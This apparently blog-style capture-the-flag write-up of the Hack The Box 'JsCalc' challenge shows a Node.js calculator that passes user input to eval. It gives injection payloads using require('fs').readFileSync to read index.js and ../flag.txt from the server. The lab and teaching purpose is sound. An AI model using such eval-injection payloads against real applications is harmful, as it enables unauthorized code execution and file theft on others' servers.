Hacking JsCalc (HTB Challenge)
Initial Thoughts
With the server up and running, we take a quick look at the site. We can see here that there is an input for the calculator.
Potential Vulnerability
Usage of eval
can lead to remote code execution vulnerabilities. MDN Docs
Let's take a look at the source code where eval
is used and try to find a vulnerability.
Analyzing The Source
The first thing we will do is look at the source code of the site and see how eval
is being called.
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${formula} ;}())`);
} catch (e) {
if (e instanceof SyntaxError) {
return "Something went wrong!";
}
}
},
};
So, we can see here that the data we input will be executed in an IIFE
If we take a closer look at the server's code, we will see that the return value of the function is sent as the response.
router.post("/api/calculate", (req, res) => {
let { formula } = req.body;
if (formula) {
result = Calculator.calculate(formula);
return res.send(response(result));
}
return res.send(response("Missing parameters"));
});
Now that we understand how the server uses eval
, let's exploit it.
Attempting RCE with eval
The first thing we can do is a simple test. We will input some code into the site and take a look at the result.
require("fs").readFileSync("index.js").toString();
This code should return the contents of the index.js
file as a string.
🎉 It works as expected!
Let's try to get a flag!
Why is my result disappearing?
If you are following along, you may have noticed that the result disappears after 2 seconds. If you open your console you can remove this line from main.js
to keep the messages until you remove them manually.
setTimeout(() => {
document.getElementById("closeAlert").click();
}, 2000);
Getting the Flag!
We can use the same test code to find our flag. The only difference is that we need to input the path of flag.txt
.
require("fs").readFileSync("../flag.txt").toString();
TIP
Now I know this is a very simple CTF, but I want to get some experience writing blog posts on my new website.